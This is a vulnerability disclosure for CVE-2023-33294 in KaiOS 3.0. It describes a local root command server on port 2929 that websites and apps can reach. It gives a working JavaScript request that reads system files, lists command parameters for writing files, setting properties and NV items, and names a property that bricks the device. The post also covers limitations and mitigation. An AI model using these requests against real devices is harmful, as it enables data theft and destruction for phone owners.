CVE-2023-33294: KaiOS 3.0 Root Command Line in Browser via TCT Web Server

CVE-2023-33294 was published today, outlining a vulnerability in KaiOS 3.0 (but not KaiOS 3.1) whereby the /system/bin/tctweb_server binary exposes a local HTTP server on http://127.0.0.1:2929 that executes arbitrary commands as root.

Photo of build.prop file displayed on Alcatel Go Flip 4 (KaiOS 3.0) browser

Why it matters? This is among the most dangerous KaiOS vulnerability discovered to date. KaiOS 3.0 users in the US should be extremely careful browsing websites or installing third-party applications.

What can attackers do with this vulnerability?

This vulnerability exposes a web server that is available to websites visited in the Browser, and to all installed applications. It executes arbitrary commands as root, making it incredibly dangerous. Attackers can exploit this vulnerability to:

Get the list of installed applications (/system/b2g/webapps/webapps.json), or user profile data including notifications and downloads (folder: /data/b2g/mozilla/*.default/, files: downloads.json, notifications.json)
Modify or delete local files, i.e. in /sdcard/
Brick the device by enabling the kill switch system property, persist.moz.killswitch

Background

KaiOS 3.0 was first released in September 2021 with the Alcatel Go Flip 4 and TCL Flip Pro as the successor to KaiOS 2.5. To date, it is only available in the United States. Static analysis of the system image from the Alcatel Go Flip 4 (carrier: MetroPCS, model: 4056Z) was performed to identify vulnerabilities to enable Developer Tools to debug KaiOS applications using the USB Debugger in Firefox. As of the time of writing (May 2022), no commercial KaiOS 3.0 or 3.1 device has had DevTools enabled. However, in the process other vulnerabilities were uncovered.

Technical Details

In April 2023, I discovered that numerous pre-installed apps on KaiOS 3.0 communicate with the engmoded server (binary: /system/bin/tctweb_server) via POST requests sent using XMLHttpRequest to http://127.0.0.1:2929. Forwarding this port to my laptop using ADB (command: adb forward tcp:2929 tcp:2929) unveiled that server is accessible without any permissions and because the server returns Access-Control-Allow-Origin: *, it is accessible to installed applications websites from the system Browser.

Exploiting this vulnerability is simple. Commands are issued to the server as key-value pairs in the format application/x-www-form-urlencoded. Here is a working example below that will return the contents of the build.prop file.

How It Works

1let xhr = new XMLHttpRequest();
2xhr.open('POST', 'http://127.0.0.1:2929', true);
3xhr.send('cmd=bash&cmdshell=readfile&filename=/system/build.prop');

For cmd=bash, the cmdshell property has a number of predefined commands, including:

readfile: paired with the filename property, it returns the contents of local files
writefile: paired with the filename and data properties, it writes the contents of local files
get_sys_property: paired with the key property, it returns the value of a system property
set_sys_property: paired with the key and data properties, it sets the value of a system property

For cmd=nvaccess, the cmdshell property has the following predefined NV (Nonvolatile Random Access Memory) commands:

read_nvitem: paired with the offset and count numeric properties, for reading NV Items
write_nvitem: paired with the offset, count, and value properties, for writing NV Items

For cmd=devInfo, the cmdshell property has the following predefined commands:

getCameraId: returns the contents of the file /proc/driver/camera_info
getHwVer: returns the value of the ro.revision system property
getDisplayId: returns the contents of the file /proc/pl_lk
getDdrId: same as getEmmcId
getEmmcId: returns the contents of the file /sys/class/mmc_host/mmc0/mmc0:0001/cid
getAudioPAId: appears to be a no-op

Additonally, for cmd=bash all other inputs to cmdshell will be executed as arbitrary commands. For the command, cmd=bash&cmdshell=ls -aZ /system, here is an example response:

1{"result":"0","id":"shcmd","value":"u:object_r:system_file:s0 . u:object_r:rootfs:s0 .. u:object_r:system_file:s0 apex u:object_r:system_file:s0 b2g u:object_r:system_file:s0 bin u:object_r:system_file:s0 build.prop u:object_r:system_file:s0 etc u:object_r:system_file:s0 fonts u:object_r:system_file:s0 framework u:object_r:system_file:s0 kaios u:object_r:system_lib_file:s0 lib u:object_r:system_file:s0 media u:object_r:system_file:s0 product u:object_r:system_file:s0 recovery-from-boot.p u:object_r:system_file:s0 sources.xml u:object_r:system_file:s0 tts u:object_r:system_file:s0 usr u:object_r:vendor_file:s0 vendor u:object_r:system_file:s0 xbin"}

Note: the engmoded server does not always return valid JSON. Notably, it does not properly escape the contents of value for command outputs or file reads/ writes.

Limitations

Although the tctweb_server binary executes commands as root, it is still bound by SELinux (Security Enhanced Linux). As a result, it is not possible to read or write from protected partitions, nor is it possible to disable SELinux or modify certain build properties. Because of this, it’s use in privileged escalation exploits is limited.

Recommended Mitigation

Given the strong potential for abuse, the tctweb_server binary should be removed from all KaiOS 3.0 builds. It’s use should be replaced with access to the EngmodeManager API, which is permission-restricted using the engmode permission that is only accessible to Certified apps. Analysis of builds from KaiOS devices suggests that tctweb_server was removed in KaiOS 3.1.

Conclusion

Discovery of the engmoded local server accessible to both apps and websites is among the most dangerous vulnerabilities identified on KaiOS to date. KaiOS 3.0 users such as those with Alcatel Go Flip 4 and TCL Flip Pro models should be very cautious with the websites they visit and the apps they install, as each is inadvertently granted access to exeute OS commands as root.